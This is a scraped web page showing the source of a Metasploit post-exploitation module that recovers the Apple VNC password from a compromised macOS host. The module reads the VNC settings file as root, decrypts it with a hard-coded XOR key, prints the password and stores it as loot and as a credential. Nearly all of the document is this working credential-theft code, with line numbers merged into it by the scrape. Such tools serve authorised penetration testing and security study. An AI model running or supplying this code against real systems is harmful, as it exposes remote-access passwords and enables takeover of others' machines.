Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/osx/gather/vnc_password_osx.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Post::OSX::Priv7include Msf::Post::File89def initialize(info = {})10super(11update_info(12info,13'Name' => 'OS X Display Apple VNC Password',14'Description' => %q{15This module shows Apple VNC Password from Mac OS X High Sierra.16},17'License' => MSF_LICENSE,18'Author' => [ 'Kevin Gonzalvo <interhack[at]gmail.com>'],19'Platform' => [ 'osx' ],20'SessionTypes' => [ 'meterpreter', 'shell' ]21)22)23end2425def decrypt_hash(hash)26if hash.nil? || hash.empty?27return nil28end2930aux = ['1734516E8BA8C5E2FF1C39567390ADCA'].pack('H*')31fixedkey = aux.unpack('C*')3233str_pw = [hash.to_s].pack('H*')34array_pwd = str_pw.unpack('C*')35str = ''3637for data in fixedkey38str += (data ^ array_pwd.shift).chr39end40return str.delete("\0")41end4243def run44unless is_root?45fail_with(Failure::NoAccess, 'Root privileges are required to read VNC password file')46end47print_status('Checking VNC Password...')48vncsettings_path = '/Library/Preferences/com.apple.VNCSettings.txt'49passwd_encrypt = read_file(vncsettings_path.to_s)50final_passwd = decrypt_hash(passwd_encrypt.to_s)51if !final_passwd.nil?52print_good("Password Found: #{final_passwd}")53pass_file = store_loot('osx.vnc.password', 'text/plain', session, final_passwd, 'passwd.pwd', 'OSX VNC Password')54print_good("Password data stored as loot in: #{pass_file}")55credential_data = {56origin_type: :session,57session_id: session_db_id,58post_reference_name: fullname,59private_type: :password,60private_data: final_passwd.to_s,61workspace_id: myworkspace_id62}63create_credential(credential_data)64else65print_error('Password not found')66end67end68end697071